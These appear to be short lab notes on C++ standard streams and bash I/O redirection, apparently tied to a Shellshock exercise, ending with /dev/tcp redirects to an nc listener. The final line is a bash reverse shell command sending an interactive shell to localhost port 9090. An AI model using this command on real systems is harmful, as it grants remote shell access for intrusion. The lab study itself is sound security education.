cin
deals with the standard input stream.
cout
deals with the standard output stream.
cerr
deals with the standard error stream.
in
is a file in the shellShock directory.
ioTest < in
ioTest > out
ioTest 2 > err
ioTest > where 2>&1
nc -l 9090 -v
)
ioTest > /dev/tcp/localhost/9090 0<&1
webClient > /dev/tcp/10.0.2.15/80 0<&1 OR webClient > /dev/tcp/localhost/http 0<&1
nc -l 9090 -v
)
/bin/bash -i > /dev/tcp/localhost/9090 2>&1 0<&1